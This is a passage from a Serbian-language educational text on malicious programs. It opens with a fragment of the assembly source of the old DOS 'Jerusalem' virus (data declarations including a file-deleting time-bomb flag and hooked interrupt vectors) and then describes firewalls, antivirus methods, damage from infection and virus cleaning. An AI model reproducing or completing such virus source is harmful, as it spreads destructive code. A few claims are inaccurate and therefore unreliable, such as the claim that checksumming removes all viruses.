PAGE 64,132;-----------------------------------------------------------------------;; THE "JERUSALEM" VIRUS ;;-----------------------------------------------------------------------; ; ORG 100H ; ;;-----------------------------------------------------------------------;; JERUSALEM VIRUS ;;-----------------------------------------------------------------------;BEGIN_COM: ;COM FILES START HERE JMP CONTINUE ; ;;----------------------------------------------------------------------; ;;-----------------------------------------------------------------------;A0103 DB 073H,055H

MS_DOS DB 'MsDos' ;

DB 000H,001H,015H,018H

TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED!

DB 000HA0010 DB 000H

A0011 DW 100H ;HOST SIZE (BEFORE INFECTION)

OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC)

OLD_21 DW 1460H,024EH ;OLD INT 21H VECTOROLD_24 DW 0556H,16A5H ;001B

20

Page 22: Zlonamerni programi

A_FLAG DW 7E48H ;???

A0021 DB 000H,000H,000H,000H,000H,000H,000H DB 000H,000H,000H,000HA002C DW 0 ;A SEGMENT DB 000H,000HA0030 DB 000H

A0031 DW 0178EH ;OLD ES VALUEA0033 DW 0080H ; ;EXEC_BLOCK DW 0 ;ENV. SEG. ADDRESS ;0035 DW 80H ;COMMAND LINE ADDRESS DW 178EH ;+4 DW 005CH ;FCB #1 ADDRESS DW 178EH ;+8 DW 006CH ;FCB #2 ADDRESS DW 0178EH ;+12 ;HOST_SP DW 0710H ;(TAKEN FROM EXE HEADER) 0043HOST_SS DW 347AH ;(AT TIME OF INFECTION)HOST_IP DW 00C5H ;HOST_CS DW 347AH ;;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF ;A004B DW 0F010H ;A004D DB 82H ;A004E DB 0 ;

EXE_HDR DB 1CH DUP (?) ;004F

A006B DB 5 DUP (?) ;LAST 5 BYTES OF HOST

HANDLE DW 0005H ;0070HOST_ATT DW 0020H ;0072HOST_DATE DW 0021H ;0074HOST_TIME DW 002DH ;0076

BLOCK_SIZE DW 512 ;512 BYTES/BLOCK

A007A DW 0010H

HOST_SIZE DW 27C0H,0001H ;007CHOST_NAME DW 41D9H,9B28H ;POINTER TO HOST NAME

COMMAND_COM DB 'COMMAND.COM'

DB 1A0090 DB 0,0,0,0,0

21

Page 23: Zlonamerni programi

6 Firewall (Zaštitni zid)Zaštitni zid (engl. Firewall, u prevodu vatreni zid) je hardver ili softver koji u

sklopu računarske mreže ima mogućnost da spreči nepropisni ili neželjeni prenos podataka preko mreže koji je zabranjen od strane sigurnosne politike postavljene na mreži. Zaštitni zid ima zadatak da kontroliše protok podataka između različitih zona u računarskoj mreži. Zone se dele na osnovu količine poverenja u bezbednost nekog dela mreže. Obično se Internet zona smatra nesigurnom, dok se lokalna mreža smatra relativno sigurnom. Najbitniji cilj je ostvarivanje normalnog odnosa između ove dve zone tako da jedna ne naškodi drugoj.U najčešćem slučaju zaštitni zid se brine da na računar ne dospe štetni kod (virus, crv itd.) sa globalne mreže - Interneta. Zaštitni zid sprečava viruse da dospeju na računar, ali ih ne leči, odnosno uklanja.Zaštitni zid ne može raditi sam, i najčešće zahteva iskusnijeg korisnika koji će odobravati ili zabranjivati pristup nekoj mrežnoj aktivnosti. Zaštitni zid je najosnovnija komponenta koja čini sigurnu računarsku mrežu, koja je uslov normalnog rada, kako na internetu, tako i na lokalnoj mreži.

Pojednostavljen prikaz funkcije jednog hardverskog Zaštitnog zid-a; Crvene nule i jedinice su štetni kod, dok su zelene nule i jedinice ono što korisnik stvarno hoće da vidi na računaru.

22

Page 24: Zlonamerni programi

6.1 Problemi i slabosti Za kućne korisnike je gašenje svih mrežnih servisa i instaliranje svežih uputstava

uglavnom dovoljno da se osiguraju od spoljašnjih napada Zato što su instalirani na sistemu koji štite, napadi na sam firewall mogu uticati na

sistem i obrnut: o Umesto smanjivanja mrežnih servisa, lični firewall je dodatni servis koji

troši sistemske resurse i takođe može biti meta napadao Ako je sistem kompromitovan od strane Malware, Spyware ili sličnih

programa, ovi programi mogu manipulisati firewall, zato što rade na istom sistemu. Sigurnosni eksperti su demonstrirali da postoji brojni način da se zobiđu ili upotpunosti ugase lični firewall-i.

Često alarmiraju korisnika o napadu kada za to nema potrebe, npr. kada pokušaj uspostavljanja konekcije na zatvoreni port, ili pogrešno interpretiraju mrežni saobračaj kao napad.

Bez obzira na sve navedeno, kao i mišljenja nekih eksperata da lični firewall daje samo lažni osjećaj sigurnosti, rad na internetu, sa Windows baziranim sistemom danas bez ikakve forme firewall-a je izuzetno riskantan.

23

Page 25: Zlonamerni programi

7 Prepoznavanje virusa – Antivirusni programi

Današnje antivirusne programe možemo podeliti na dve grupe – programe za repoznavanje specifičnih virusa i programe za nespecifično prepoznavnje virusa.

7.1 Skeneri

Skeneri su po pravilu programi za specifično prepoznavnje virusa, mada bi neki od njih, koji koriste heurističke metode traženja virusa, mogli biti svrstani u grupu programa za nespecifično prepoznavanje virusa, budući da su, bar teoretski, sposobni prepoznati i nepoznate viruse. Skener tradicionalno prepoznaje virus na temelju (u njega) ugrađenih podataka, koji su prethodno pribavljeni analizom virusa koji se pojavio među korisnicima. Ti podaci mogu se odnositi na niz heksadecimalnih znakova (search string) – koji katkad mogu sadržavati i wildcard (džoker) znakove. Glavna prednost skenera je mogućnost trenutnog otkrivanja poznatih virusa jednostavnim pregledom sumnjivog sadržaja. Ako skener prepozna virus, on će dojaviti tačno o kojem se virusu radi,a to je vrlo korisno jer se prema tom podatku mogu proceniti i moguće posledice napada virusa. Pravilno korisšćen skener pomoći će nam da otkrijemo virus pristiglim diskovima pre nego zarazi štićene kompjutere.

Nedostaci skenera odnose se na potrebu za stalnim dograđivanjem radi prepoznavanja novonastalih virusa, no nemogućnost prepoznavanja virusa o kojima nemaju potrebne podatke. Iako postoje heuristički skeneri, sposobni za otkrivanje novonastalih, nepoznatih virusa, koji su bazirani na tenologiji znanja (knowledge based),kao i svaki takav sistem ima puno i mana.

Skeneri su danas najrasprostranjeniji antivirusni softver.

7.2 Provera checksum-ом

Tehnika provere checksum-om temelji se na mogućnosti prepoznavanja svake promene na štićenom sadržaju. Checksum-om se „zaledi“ stanje sistema za koji prethodno utvrdimo da je neinficiran. Nakon toga se u određenim vremenskim razmacima proverava da li je u sistemu došlo do nekih promena.

Checksum-miranje je jedina poznata metoda kojom se sigurno otklanjaju svi virusi, bez obzira na to da li su poznati ili ne. Ova činjenica čini checksum-ere jednim dugoročnim osloncem svake mudre antivirusne strategije.

Nedostatak checksum-era leži u činjenici da se njima otkriva infekcija virusom tek nakon što se već dogodila, međutim, njihovom redovnom primenom sigurno se može otkriti virus pre nego što dođe do značajne štete.

24

Page 26: Zlonamerni programi

7.3 Programi za „monitoring“

Ovakvi programi rade kao TSR koji pregledava odvijanje pojedinih funkcija sistema preko odgovarajućih interrupt-a. Tako npr. kad god sistem dobije nalog za učitaanjem neke izvršne datoteke, može se i izvršiti provera. Neki monitori ne traže secifične viruse nego pokušavaju otkloniti sumnjive aktivnosti kao što su npr. pisanje po Master BOOT sektoru ili izvršnim programima, pokretanje formatiranja diska, pokušaj prorama da se učini rezidentnim u memoriji i sl. Jedina prednost monitora je da mogu otkriti virus u realnom vremenu.

Nedostaci monitora su brojni. Najveći nedostatak je nemogućnost delotvorne primene TSR programa koji bi u sebi sadržavao podatke za prepoznavanje svih poznatih virusa. Monitori koji otkrivaju sumnjive aktivnosti često izazivaju brojne lažne uzbune, jer označavaju sumnjivim i redovne aktivnosti kao što su formatiranje disketa ili instaliranje raznih programa u memoriju.

25

Page 27: Zlonamerni programi

8 Posledice napada virusaPo pravilu, svaki program inficiran virusom već je u određenoj meri oštećen i

potrebno ga je dovesti u ispravno stanje. Ovo se dešava uvek, bez obzira na to da li virus ima tzv. Korisni teret i bez obzira koja mu je namera. Danas je sve veći trend izrade virusa koji pri infekciji jednostavno prepišu deo koda napadnutog programa i na taj način nepopravljivo oštete napadnut objekat. Npr. link virusi mogu napraviti haos na disku, jer dovode do tzv. cross-linked datoteka.

Program zaražen virusom može grešiti u radu, virus koji se instalira u memoriju može izazvati greške u radu drugih programa koji se instaliraju u memoriju, ili može programima oduzeti memoriju potrebnu za rad. Mnogi pisci kompjuterskih virusa uključuju u virus koristan teret, kod kojih je sposoban izvršiti neki zadatak kao što je npr. ispisivanje poruka, ometanje rada sistema, brisanje određenih podataka, formatiranje diska ili korupcija podataka.Blesave poruke, nemušte ljubavne izjave ili usmaljeničke rođendanske čestitke – najmanji su dodatni problem. Nedestruktivno ometnje rada sistema, blokiranje računara, usporeni rad mašine – predstavljaju drugu stepenicu. Očigledno brisanje programa i podataka ili formatiranje diska, koliko je god nezgodno i štetno nije najveći stupanj oštećenja, kako to mnogi misle. Ako se redvno provodi temeljno arhiviranje (čuvanje) podataka, već nakon kraćeg vremena računar može biti ponovo osposobljen i spreman za rad. Najgori mogući oblik štete je korupcija podataka, neprekidno i progresivno propadanje integriteta ili tačnosti podataka. Korupcija podataka može biti izazvana namerno ili se javiti slučajno. Oštećene mogu biti baze podataka, arhive s programima i podacima, tekstualne datoteke i sl. Slučajan oblik korupcije je kada virus reškom inficira tekstualnu datoteku. Datoteka će biti oštećena,a virus u toj datoteci neće se moći razmnožavati. Nameran oblik korupcije je akda virus pregleda disk u potrazi za bazama podataka, te u nađenoj nasumice izmeni neki podatak. Ako korupcija traje duže vreme, doći će do nepopravljivih posledica.Arhiviranje podataka nije dovoljna zaštita od korupcije podataka, jer ako ona ne bude otkrivena tek jednom jednog punog ciklusa arhiviranja, podaci će biti nepopravljivo oštećeni, budući da će sve arhivske kopije sadržavati oštećene podatke. Jedina zaštita od korupcije podataka je provera njihovog integriteta, pri čemu nije dovoljno proveravati samo spolja, već i unutrašnji integritet.

26

Page 28: Zlonamerni programi

9 Čišćenje virusaU antivirusne programe možemo još ubrojiti za čišćenje virusa koji mogu biti

izrađeni za čišćenje specifičnih ili nespecifičnih virusa.U prvu grupu dolaze programe koji na temlju poznavanja određenog virusa i metoda kojom inficira program, pokušavaju odstraniti virus i program dovesti u ispravno staenje.

Druga grupa su programi za nespecifično čišćenje virusa. Neki su autori pokušali razviti programe koji bi izolovali i spremili na sigurno kritične delove rizičnih sadržaja (BOOT sektore, head-ere, i trajanje izvršnih datoteka i sl.), te nakon otkrivene infekcije pokušavali stvari dovesti u red. Budući da se ova metoda zasniva na predviđanju moguće štete, njena sigurnost je vrlo neizvesna.

27

Page 29: Zlonamerni programi